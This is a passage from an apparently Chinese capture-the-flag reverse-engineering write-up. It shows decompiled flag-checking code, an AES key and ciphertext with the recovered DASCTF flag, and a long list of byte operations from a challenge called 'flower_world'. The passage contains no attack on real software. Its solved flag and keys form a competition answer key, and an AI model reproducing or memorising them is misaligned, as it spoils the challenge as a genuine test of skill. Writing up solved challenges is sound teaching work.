</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="nf">sub_401410</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v5</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&amp;</span><span class="n">Buf1</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">Str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">      <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nf">memcmp</span><span class="p">(</span><span class="n">Buf1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">unk_458014</span><span class="p">,</span> <span class="mh">0x30u</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nf">sub_401E00</span><span class="p">(</span><span class="s">&#34;Right flag!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="nf">sub_401E00</span><span class="p">(</span><span class="s">&#34;Wrong flag</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>AES加密，密钥是<code>58453eec4d16ae234a10b597dfe1f6a6</code>，密文是<code>unk_458014</code>，dump出来是<code>29708f1980cce40f46abac148d488ca83716fe1d397202797b1999166265623e8f761285cb28e256b381167761e41094</code></p>
<p>cyberchef解开：<code>DASCTF{75aab2560274ae21aa4554b993e658d1}</code></p>
<h3 id="flower_world">flower_world<a class="anchor" href="#flower_world">#</a></h3>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="ln">  1</span><span class="cl">  97704D -= 120;
</span></span><span class="line"><span class="ln">  2</span><span class="cl">  977070 ^= 0x4Fu;
</span></span><span class="line"><span class="ln">  3</span><span class="cl">  977055 -= 30;
</span></span><span class="line"><span class="ln">  4</span><span class="cl">  977064 -= 93;
</span></span><span class="line"><span class="ln">  5</span><span class="cl">  977048 += 95;
</span></span><span class="line"><span class="ln">  6</span><span class="cl">  97704A += 103;
</span></span><span class="line"><span class="ln">  7</span><span class="cl">  97705C ^= 0x82u;
</span></span><span class="line"><span class="ln">  8</span><span class="cl">  977069 += 52;
</span></span><span class="line"><span class="ln">  9</span><span class="cl">  97705E ^= 3u;
</span></span><span class="line"><span class="ln"> 10</span><span class="cl">  977041 += 71;
</span></span><span class="line"><span class="ln"> 11</span><span class="cl">  977076 ^= 0xE0u;
</span></span><span class="line"><span class="ln"> 12</span><span class="cl">  97706D -= 44;
</span></span><span class="line"><span class="ln"> 13</span><span class="cl">  977044 -= 127;
</span></span><span class="line"><span class="ln"> 14</span><span class="cl">  977075 -= 71;
</span></span><span class="line"><span class="ln"> 15</span><span class="cl">  977060 ^= 0xAAu;
</span></span><span class="line"><span class="ln"> 16</span><span class="cl">  97704E -= 119;
</span></span><span class="line"><span class="ln"> 17</span><span class="cl">  977062 ^= 0xAu;
</span></span><span class="line"><span class="ln"> 18</span><span class="cl">  97707D -= 48;
</span></span><span class="line"><span class="ln"> 19</span><span class="cl">  977075 += 55;
</span></span><span class="line"><span class="ln"> 20</span><span class="cl">  97705B += 111;
</span></span><span class="line"><span class="ln"> 21</span><span class="cl">  97706E ^= 0x32u;
</span></span><span class="line"><span class="ln"> 22</span><span class="cl">  97706C -= 92;
</span></span><span class="line"><span class="ln"> 23</span><span class="cl">  97705F ^= 0x29u;
</span></span><span class="line"><span class="ln"> 24</span><span class="cl">  977041 += 79;
</span></span><span class="line"><span class="ln"> 25</span><span class="cl">  97704A += 58;
</span></span><span class="line"><span class="ln"> 26</span><span class="cl">  977062 -= 17;
</span></span><span class="line"><span class="ln"> 27</span><span class="cl">  97705A += 123;
</span></span><span class="line"><span class="ln"> 28</span><span class="cl">  977075 -= 100;
</span></span><span class="line"><span class="ln"> 29</span><span class="cl">  97705C -= 64;
</span></span><span class="line"><span class="ln"> 30</span><span class="cl">  977056 -= 89;
</span></span><span class="line"><span class="ln"> 31</span><span class="cl">  977070 ^= 0x73u;
</span></span><span class="line"><span class="ln"> 32</span><span class="cl">  977062 ^= 0x61u;
</span></span><span class="line"><span class="ln"> 33</span><span class="cl">  97706E += 118;
</span></span><span class="line"><span class="ln"> 34</span><span class="cl">  977062 += 41;
</span></span><span class="line"><span class="ln"> 35</span><span class="cl">  977070 += 78;
</span></span><span class="line"><span class="ln"> 36</span><span class="cl">  977055 -= 11;
</span></span><span class="line"><span class="ln"> 37</span><span class="cl">  97704F ^= 0x5Eu;
</span></span><span class="line"><span class="ln"> 38</span><span class="cl">  977070 ^= 0xB2u;
</span></span><span class="line"><span class="ln"> 39</span><span class="cl">  977066 -= 66;
</span></span><span class="line"><span class="ln"> 40</span><span class="cl">  977046 ^= 0xECu;
</span></span><span class="line"><span class="ln"> 41</span><span class="cl">  977062 ^= 0xD1u;
</span></span><span class="line"><span class="ln"> 42</span><span class="cl">  977046 -= 99;
</span></span><span class="line"><span class="ln"> 43</span><span class="cl">  977069 -= 49;
</span></span><span class="line"><span class="ln"> 44</span><span class="cl">  977046 += 32;
</span></span><span class="line"><span class="ln"> 45</span><span class="cl">  977066 += 61;
</span></span><span class="line"><span class="ln"> 46</span><span class="cl">  977042 ^= 0x42u;
</span></span><span class="line"><span class="ln"> 47</span><span class="cl">  977055 += 109;
</span></span><span class="line"><span class="ln"> 48</span><span class="cl">  977070 += 14;
</span></span><span class="line"><span class="ln"> 49</span><span class="cl">  97707B -= 52;
</span></span><span class="line"><span class="ln"> 50</span><span class="cl">  97706E -= 94;
</span></span><span class="line"><span class="ln"> 51</span><span class="cl">  977074 += 57;
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">  97705D -= 30;
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">  97705E -= 107;
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">  977048 += 55;
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">  97704C -= 27;
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">  97706F -= 88;
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">  97707A -= 105;
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">  977040 += 25;
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">  97704C += 73;
</span></span><span class="line"><span class="ln"> 60</span><span class="cl">  97706F -= 80;
</span></span><span class="line"><span class="ln"> 61</span><span class="cl">  977070 += 125;
</span></span><span class="line"><span class="ln"> 62</span><span class="cl">  97706E -= 44;
</span></span><span class="line"><span class="ln"> 63</span><span class="cl">  97707A += 11;
</span></span><span class="line"><span class="ln"> 64</span><span class="cl">  977068 ^= 0x57u;
</span></span><span class="line"><span class="ln"> 65</span><span class="cl">  977062 += 117;
</span></span><span class="line"><span class="ln"> 66</span><span class="cl">  977056 += 92;
</span></span><span class="line"><span class="ln"> 67</span><span class="cl">  97705B ^= 0x7Au;
</span></span><span class="line"><span class="ln"> 68</span><span class="cl">  977043 += 33;
</span></span><span class="line"><span class="ln"> 69</span><span class="cl">  977045 ^= 0xC3u;
</span></span><span class="line"><span class="ln"> 70</span><span class="cl">  97705E += 19;
</span></span><span class="line"><span class="ln"> 71</span><span class="cl">  977064 -= 46;
</span></span><span class="line"><span class="ln"> 72</span><span class="cl">  977065 -= 45;
</span></span><span class="line"><span class="ln"> 73</span><span class="cl">  977067 ^= 0xB0u;
</span></span><span class="line"><span class="ln"> 74</span><span class="cl">  97704F -= 69;
</span></span><span class="line"><span class="ln"> 75</span><span class="cl">  977061 ^= 0xDCu;
</span></span><span class="line"><span class="ln"> 76</span><span class="cl">  977046 += 69;
</span></span><span class="line"><span class="ln"> 77</span><span class="cl">  97707E += 116;
</span></span><span class="line"><span class="ln"> 78</span><span class="cl">  97704B ^= 0x22u;
</span></span><span class="line"><span class="ln"> 79</span><span class="cl">  977063 ^= 0x7Eu;
</span></span><span class="line"><span class="ln"> 80</span><span class="cl">  977054 += 18;
</span></span><span class="line"><span class="ln"> 81</span><span class="cl">  977072 -= 11;
</span></span><span class="line"><span class="ln"> 82</span><span class="cl">  97704E ^= 5u;
</span></span><span class="line"><span class="ln"> 83</span><span class="cl">  97706E += 58;
</span></span><span class="line"><span class="ln"> 84</span><span class="cl">  977048 += 44;
</span></span><span class="line"><span class="ln"> 85</span><span class="cl">  97706D ^= 0xE4u;
</span></span><span class="line"><span class="ln"> 86</span><span class="cl">  977068 -= 30;
</span></span><span class="line"><span class="ln"> 87</span><span class="cl">  977063 += 96;
</span></span><span class="line"><span class="ln"> 88</span><span class="cl">  977047 -= 49;
</span></span><span class="line"><span class="ln"> 89</span><span class="cl">  977062 += 83;
</span></span><span class="line"><span class="ln"> 90</span><span class="cl">  97707A += 53;
</span></span><span class="line"><span class="ln"> 91</span><span class="cl">  97706A ^= 0x21u;
</span></span><span class="line"><span class="ln"> 92</span><span class="cl">  97707C += 49;
</span></span><span class="line"><span class="ln"> 93</span><span class="cl">  97705B += 11;
</span></span><span class="line"><span class="ln"> 94</span><span class="cl">  977070 -= 105;
</span></span><span class="line"><span class="ln"> 95</span><span class="cl">  977063 -= 47;
</span></span><span class="line"><span class="ln"> 96</span><span class="cl">  977073 -= 67;
</span></span><span class="line"><span class="ln"> 97</span><span class="cl">  977047 += 94;
</span></span><span class="line"><span class="ln"> 98</span><span class="cl">  97707E += 78;
</span></span><span class="line"><span class="ln"> 99</span><span class="cl">  97704F -= 96;
</span></span><span class="line"><span class="ln">100</span><span class="cl">  97707A ^= 0xD3u;
</span></span><span class="line"><span class="ln">101</span><span class="cl">  977043 += 115;
</span></span><span class="line"><span class="ln">102</span><span class="cl">  97705E -= 127;
</span></span><span class="line"><span class="ln">103</span><span class="cl">  97707A -= 86;
</span></span><span class="line"><span class="ln">104</span><span class="cl">  977074 += 32;
</span></span><span class="line"><span class="ln">105</span><span class="cl">  977067 ^= 0x5Cu;
</span></span><span class="line"><span class="ln">106</span><span class="cl">  977049 -= 64;
</span></span><span class="line"><span class="ln">107</span><span class="cl">  97706B ^= 0x8Eu;
</span></span><span class="line"><span class="ln">108</span><span class="cl">  97707E += 121;
</span></span><span class="line"><span class="ln">109</span><span class="cl">  977054 -= 98;
</span></span><span class="line"><span class="ln">110</span><span class="cl">  977074 ^= 0x22u;
</span></span><span class="line"><span class="ln">111</span><span class="cl">  97704F -= 12;
</span></span><span class="line"><span class="ln">112</span><span class="cl">  977045 ^= 0x2Du;
</span></span><span class="line"><span class="ln">113</span><span class="cl">  97707C -= 44;
</span></span><span class="line"><span class="ln">114</span><span class="cl">  97704D -= 74;
</span></span><span class="line"><span class="ln">115</span><span class="cl">  977061 ^= 0x82u;
</span></span><span class="line"><span class="ln">116</span><span class="cl">  977068 ^= 0xEDu;
</span></span><span class="line"><span class="ln">117</span><span class="cl">  977071 ^= 0xBEu;
</span></span><span class="line"><span class="ln">118</span><span class="cl">  977077 += 4;
</span></span><span class="line"><span class="ln">119</span><span class="cl">  97705E -= 120;
</span></span><span class="line"><span class="ln">120</span><span class="cl">  97704B += 67;
</span></span><span class="line"><span class="ln">121</span><span class="cl">  977072 -= 52;
</span></span><span class="line"><span class="ln">122</span><span class="cl">  977042 ^= 0x87u;
</span></span><span class="line"><span class="ln">123</span><span class="cl">  977067 -= 38;
</span></span><span class="line"><span class="ln">124</span><span class="cl">  97707B ^= 0xFAu;
</span></span><span class="line"><span class="ln">125</span><span class="cl">  977072 += 90;
</span></span><span class="line"><span class="ln">126</span><span class="cl">  97706E -= 9;
</span></span><span class="line"><span class="ln">127</span><span class="cl">  977077 ^= 0x2Fu;
</span></span><span class="line"><span class="ln">128</span><span class="cl">  977049 += 83;
</span></span><span class="line"><span class="ln">129</span><span class="cl">  97706B ^= 0xD6u;
</span></span><span class="line"><span class="ln">130</span><span class="cl">  977062 -= 6;
</span></span><span class="line"><span class="ln">131</span><span class="cl">  977048 -= 119;
</span></span><span class="line"><span class="ln">132</span><span class="cl">  977061 -= 118;
</span></span><span class="line"><span class="ln">133</span><span class="cl">  977062 -= 75;
</span></span><span class="line"><span class="ln">134</span><span class="cl">  977068 -= 52;
</span></span><span class="line"><span class="ln">135</span><span class="cl">  977040 -= 108;
</span></span><span class="line"><span class="ln">136</span><span class="cl">  97706A += 28;
</span></span><span class="line"><span class="ln">137</span><span class="cl">  97707C ^= 0x4Cu;
</span></span><span class="line"><span class="ln">138</span><span class="cl">  97706C ^= 0x4Au;
</span></span><span class="line"><span class="ln">139</span><span class="cl">  977061 ^= 0xFDu;
</span></span><span class="line"><span class="ln">140</span><span class="cl">  977063 += 125;
</span></span><span class="line"><span class="ln">141</span><span class="cl">  977041 ^= 0x6Cu;
</span></span><span class="line"><span class="ln">142</span><span class="cl">  977075 += 25;
</span></span><span class="line"><span class="ln">143</span><span class="cl">  977071 -= 7;
</span></span><span class="line"><span class="ln">144</span><span class="cl">  97707D -= 119;
</span></span><span class="line"><span class="ln">145</span><span class="cl">  97706F -= 16;
</span></span><span class="line"><span class="ln">146</span><span class="cl">  977064 += 53;
</span></span><span class="line"><span class="ln">147</span><span class="cl">  977066 ^= 0x56u;
</span></span><span class="line"><span class="ln">148</span><span class="cl">  977042 ^= 0xF2u;
</span></span><span class="line"><span class="ln">149</span><span class="cl">  97706B += 115;
</span></span><span class="line"><span class="ln">150</span><span class="cl">  977055 -= 37;
</span></span><span class="line"><span class="ln">151</span><span class="cl">  977072 -= 51;
</span></span><span class="line"><span class="ln">152</span><span class="cl">  977041 -= 107;
</span></span><span class="line"><span class="ln">153</span><span class="cl">  97704F -= 116;
</span></span><span class="line"><span class="ln">154</span><span class="cl">  97705C += 46;
</span></span><span class="line"><span class="ln">155</span><span class="cl">  977065 -= 67;
</span></span><span class="line"><span class="ln">156</span><span class="cl">  97704C += 113;
</span></span><span class="line"><span class="ln">157</span><span class="cl">  977061 += 114;
</span></span><span class="line"><span class="ln">158</span><span class="cl">  97704E += 69;
</span></span><span class="line"><span class="ln">159</span><span class="cl">  977060 += 99;
</span></span><span class="line"><span class="ln">160</span><span class="cl">  977064 ^= 0x88u;
</span></span><span class="line"><span class="ln">161</span><span class="cl">  977079 -= 37;
</span></span><span class="line"><span class="ln">162</span><span class="cl">  97705E ^= 0x76u;
</span></span><span class="line"><span class="ln">163</span><span class="cl">  977070 += 95;
</span></span><span class="line"><span class="ln">164</span><span class="cl">  97707A += 51;
</span></span><span class="line"><span class="ln">165</span><span class="cl">  977074 ^= 0xD3u;
</span></span><span class="line"><span class="ln">166</span><span class="cl">  97704F -= 86;
</span></span><span class="line"><span class="ln">167</span><span class="cl">  977040 -= 6;
</span></span><span class="line"><span class="ln">168</span><span class="cl">  97707C -= 8;
</span></span><span class="line"><span class="ln">169</span><span class="cl">  977071 ^= 0x30u;
</span></span><span class="line"><span class="ln">170</span><span class="cl">  97705B += 29;
</span></span><span class="line"><span class="ln">171</span><span class="cl">  977070 += 65;
</span></span><span class="line"><span class="ln">172</span><span class="cl">  97705D ^= 0xEEu;
</span></span><span class="line"><span class="ln">173</span><span class="cl">  977047 -= 31;
</span></span><span class="line"><span class="ln">174</span><span class="cl">  977061 -= 16;
</span></span><span class="line"><span class="ln">175</span><span class="cl">  977071 += 9;
</span></span><span class="line"><span class="ln">176</span><span class="cl">  977064 -= 46;
</span></span><span class="line"><span class="ln">177</span><span class="cl">  977049 ^= 0xDEu;
</span></span><span class="line"><span class="ln">178</span><span class="cl">  977054 ^= 0x6Du;
</span></span><span class="line"><span class="ln">179</span><span class="cl">  977065 -= 91;
</span></span><span class="line"><span class="ln">180</span><span class="cl">  977077 += 119;
</span></span><span class="line"><span class="ln">181</span><span class="cl">  97707D -= 8;
</span></span><span class="line"><span class="ln">182</span><span class="cl">  --977061;
</span></span><span class="line"><span class="ln">183</span><span class="cl">  977075 += 124;
</span></span><span class="line"><span class="ln">184</span><span class="cl">  977068 += 3;
</span></span><span class="line"><span class="ln">185</span><span class="cl">  977059 -= 22;
</span></span><span class="line"><span class="ln">186</span><span class="cl">  977060 ^= 0xD3u;
</span></span><span class="line"><span class="ln">187</span><span class="cl">  977072 ^= 0xA4u;
</span></span><span class="line"><span class="ln">188</span><span class="cl">  977040 ^= 0xA8u;
</span></span><span class="line"><span class="ln">189</span><span class="cl">  97707F += 50;
</span></span><span class="line"><span class="ln">190</span><span class="cl">  97707E ^= 0x4Du;
</span></span><span class="line"><span class="ln">191</span><span class="cl">  977070 += 60;
</span></span><span class="line"><span class="ln">192</span><span class="cl">  97704B += 49;
</span></span><span class="line"><span class="ln">193</span><span class="cl">  97707B += 3;
</span></span><span class="line"><span class="ln">194</span><span class="cl">  97706A -= 20;
</span></span><span class="line"><span class="ln">195</span><span class="cl">  977060 -= 38;
</span></span><span class="line"><span class="ln">196</span><span class="cl">  977063 -= 2;
</span></span><span class="line"><span class="ln">197</span><span class="cl">  97707B -= 108;
</span></span><span class="line"><span class="ln">198</span><span class="cl">  97707E -= 71;
</span></span><span class="line"><span class="ln">199</span><span class="cl">  97706E += 111;
</span></span><span class="line"><span class="ln">200</span><span class="cl">  977040 ^= 0xD9u;
</span></span><span class="line"><span class="ln">201</span><span class="cl">  97704E += 76;
</span></span><span class="line"><span class="ln">202</span><span class="cl">  97706F ^= 0xF6u;
</span></span><span class="line"><span class="ln">203</span><span class="cl">  97705B += 26;
</span></span><span class="line"><span class="ln">204</span><span class="cl">  977040 -= 27;
</span></span><span class="line"><span class="ln">205</span><span class="cl">  977060 -= 80;
</span></span><span class="line"><span class="ln">206</span><span class="cl">  977078 -= 27;
</span></span><span class="line"><span class="ln">207</span><span class="cl">  97705B += 7;
</span></span><span class="line"><span class="ln">208</span><span class="cl">  ++977073;
</span></span><span class="line"><span class="ln">209</span><span class="cl">  977075 ^= 0xDDu;
</span></span><span class="line"><span class="ln">210</span><span class="cl">  977043 -= 127;
</span></span><span class="line"><span class="ln">211</span><span class="cl">  977072 += 116;
</span></span><span class="line"><span class="ln">212</span><span class="cl">  977069 -= 70;
</span></span><span class="line"><span class="ln">213</span><span class="cl">  977065 ^= 0x9Bu;
</span></span><span class="line"><span class="ln">214</span><span class="cl">  977059 -= 34;
</span></span><span class="line"><span class="ln">215</span><span class="cl">  97704B -= 127;
</span></span><span class="line"><span class="ln">216</span><span class="cl">  97707F ^= 0xBu;
</span></span><span class="line"><span class="ln">217</span><span class="cl">  977058 -= 65;
</span></span><span class="line"><span class="ln">218</span><span class="cl">  97704B ^= 0x83u;
</span></span><span class="line"><span class="ln">219</span><span class="cl">  977059 ^= 0xB6u;
</span></span><span class="line"><span class="ln">220</span><span class="cl">  977067 -= 25;
</span></span><span class="line"><span class="ln">221</span><span class="cl">  977042 -= 94;
</span></span><span class="line"><span class="ln">222</span><span class="cl">  977061 ^= 0x7Eu;
</span></span><span class="line"><span class="ln">223</span><span class="cl">  977072 -= 69;
</span></span><span class="line"><span class="ln">224</span><span class="cl">  977077 -= 72;
</span></span><span class="line"><span class="ln">225</span><span class="cl">  977060 ^= 0xF7u;
</span></span><span class="line"><span class="ln">226</span><span class="cl">  977043 -= 11;
</span></span><span class="line"><span class="ln">227</span><span class="cl">  977069 ^= 0x64u;
</span></span><span class="line"><span class="ln">228</span><span class="cl">  977075 ^= 0xEu;
</span></span><span class="line"><span class="ln">229</span><span class="cl">  977073 -= 111;
</span></span><span class="line"><span class="ln">230</span><span class="cl">  977065 ^= 0x7Au;
</span></span><span class="line"><span class="ln">231</span><span class="cl">  97706B -= 7;
</span></span><span class="line"><span class="ln">232</span><span class="cl">  977060 += 103;
</span></span><span class="line"><span class="ln">233</span><span class="cl">  97707D ^= 0xF4u;
</span></span><span class="line"><span class="ln">234</span><span class="cl">  977077 += 16;
</span></span><span class="line"><span class="ln">235</span><span class="cl">  97705C ^= 0x89u;
</span></span><span class="line"><span class="ln">236</span><span class="cl">  977041 -= 20;
</span></span><span class="line"><span class="ln">237</span><span class="cl">  97707A ^= 0x3Fu;
</span></span><span class="line"><span class="ln">238</span><span class="cl">  97704D -= 31;
</span></span><span class="line"><span class="ln">239</span><span class="cl">  977073 += 98;
</span></span><span class="line"><span class="ln">240</span><span class="cl">  977073 -= 5;
</span></span><span class="line"><span class="ln">241</span><span class="cl">  977061 -= 30;
</span></span><span class="line"><span class="ln">242</span><span class="cl">  97704C += 73;
</span></span><span class="line"><span class="ln">243</span><span class="cl">  977054 -= 6;
</span></span><span class="line"><span class="ln">244</span><span class="cl">  977071 ^= 0x56u;
</span></span><span class="line"><span class="ln">245</span><span class="cl">  97705B ^= 3u;
</span></span><span class="line"><span class="ln">246</span><span class="cl">  977055 -= 119;
</span></span><span class="line"><span class="ln">247</span><span class="cl">  97706D += 37;
</span></span><span class="line"><span class="ln">248</span><span class="cl">  97705E += 4;
</span></span><span class="line"><span class="ln">249</span><span class="cl">  977044 -= 48;
</span></span><span class="line"><span class="ln">250</span><span class="cl">  977076 ^= 0xF4u;
</span></span><span class="line"><span class="ln">251</span><span class="cl">  977053 ^= 0x10u;
</span></span><span class="line"><span class="ln">252</span><span class="cl">  977059 ^= 0x47u;
</span></span><span class="line"><span class="ln">253</span><span class="cl">  977060 ^= 0xE2u;
</span></span><span class="line"><span class="ln">254</span><span class="cl">  97704E -= 16;
</span></span><span class="line"><span class="ln">255</span><span class="cl">  97705E ^= 0xD2u;
</span></span><span class="line"><span class="ln">256</span><span class="cl">  977042 += 70;
</span></span><span class="line"><span class="ln">257</span><span class="cl">  977060 -= 91;
</span></span><span class="line"><span class="ln">258</span><span class="cl">  977041 ^= 0x12u;
</span></span><span class="line"><span class="ln">259</span><span class="cl">  977042 -= 81;
</span></span><span class="line"><span class="ln">260</span><span class="cl">  977047 += 92;
</span></span><span class="line"><span class="ln">261</span><span class="cl">  977055 -= 77;
</span></span><span class="line"><span class="ln">262</span><span class="cl">  97705D ^= 0x7Du;
</span></span><span class="line"><span class="ln">263</span><span class="cl">  977070 ^= 0x4Au;
</span></span><span class="line"><span class="ln">264</span><span class="cl">  977074 -= 25;
</span></span><span class="line"><span class="ln">265</span><span class="cl">  977074 -= 127;
</span></span><span class="line"><span class="ln">266</span><span class="cl">  97704B += 121;
</span></span><span class="line"><span class="ln">267</span><span class="cl">  97706C += 64;
</span></span><span class="line"><span class="ln">268</span><span class="cl">  97707A ^= 0x58u;
</span></span><span class="line"><span class="ln">269</span><span class="cl">  97704B -= 123;
</span></span><span class="line"><span class="ln">270</span><span class="cl">  977078 += 42;
</span></span><span class="line"><span class="ln">271</span><span class="cl">  977071 -= 89;
</span></span><span class="line"><span class="ln">272</span><span class="cl">  97707E ^= 0x99u;
</span></span><span class="line"><span class="ln">273</span><span class="cl">  977043 -= 6;
</span></span><span class="line"><span class="ln">274</span><span class="cl">  977045 ^= 0x7Du;
</span></span><span class="line"><span class="ln">275</span><span class="cl">  977042 -= 14;
</span></span><span class="line"><span class="ln">276</span><span class="cl">  977064 += 96;
</span></span><span class="line"><span class="ln">277</span><span class="cl">  977058 += 26;
</span></span><span class="line"><span class="ln">278</span><span class="cl">  97706E += 54;
</span></span><span class="line"><span class="ln">279</span><span class="cl">  977052 -= 86;
</span></span><span class="line"><span class="ln">280</span><span class="cl">  97705D ^= 0x4Eu;
</span></span><span class="line"><span class="ln">281</span><span class="cl">  977055 -= 15;
</span></span><span class="line"><span class="ln">282</span><span class="cl">  977078 -= 32;
</span></span><span class="line"><span class="ln">283</span><span class="cl">  977057 += 75;
</span></span><span class="line"><span class="ln">284</span><span class="cl">  97706E += 66;
</span></span><span class="line"><span class="ln">285</span><span class="cl">  977053 += 101;
</span></span><span class="line"><span class="ln">286</span><span class="cl">  97705E -= 59;
</span></span><span class="line"><span class="ln">287</span><span class="cl">  97706B ^= 0xFAu;
</span></span><span class="line"><span class="ln">288</span><span class="cl">  977042 += 93;
</span></span><span class="line"><span class="ln">289</span><span class="cl">  977073 -= 123;
</span></span><span class="line"><span class="ln">290</span><span class="cl">  97707C += 31;
</span></span><span class="line"><span class="ln">291</span><span class="cl">  977064 ^= 0xA2u;
</span></span><span class="line"><span class="ln">292</span><span class="cl">  977073 -= 32;
</span></span><span class="line"><span class="ln">293</span><span class="cl">  97705A ^= 0x11u;
</span></span><span class="line"><span class="ln">294</span><span class="cl">  97707D += 121;
</span></span><span class="line"><span class="ln">295</span><span class="cl">  977074 -= 99;
</span></span><span class="line"><span class="ln">296</span><span class="cl">  977054 ^= 0x68u;
</span></span><span class="line"><span class="ln">297</span><span class="cl">  97706D -= 75;
</span></span><span class="line"><span class="ln">298</span><span class="cl">  977041 -= 117;
</span></span><span class="line"><span class="ln">299</span><span class="cl">  977043 += 92;
</span></span><span class="line"><span class="ln">300</span><span class="cl">  977041 += 88;
</span></span><span class="line"><span class="ln">301</span><span class="cl">  97704D -= 4;
</span></span><span class="line"><span class="ln">302</span><span class="cl">  977052 ^= 0x43u;
</span></span><span class="line"><span class="ln">303</span><span class="cl">  97704B += 8;
</span></span><span class="line"><span class="ln">304</span><span class="cl">  97706A -= 82;
</span></span><span class="line"><span class="ln">305</span><span class="cl">  977055 += 56;
</span></span><span class="line"><span class="ln">306</span><span class="cl">  977049 += 43;
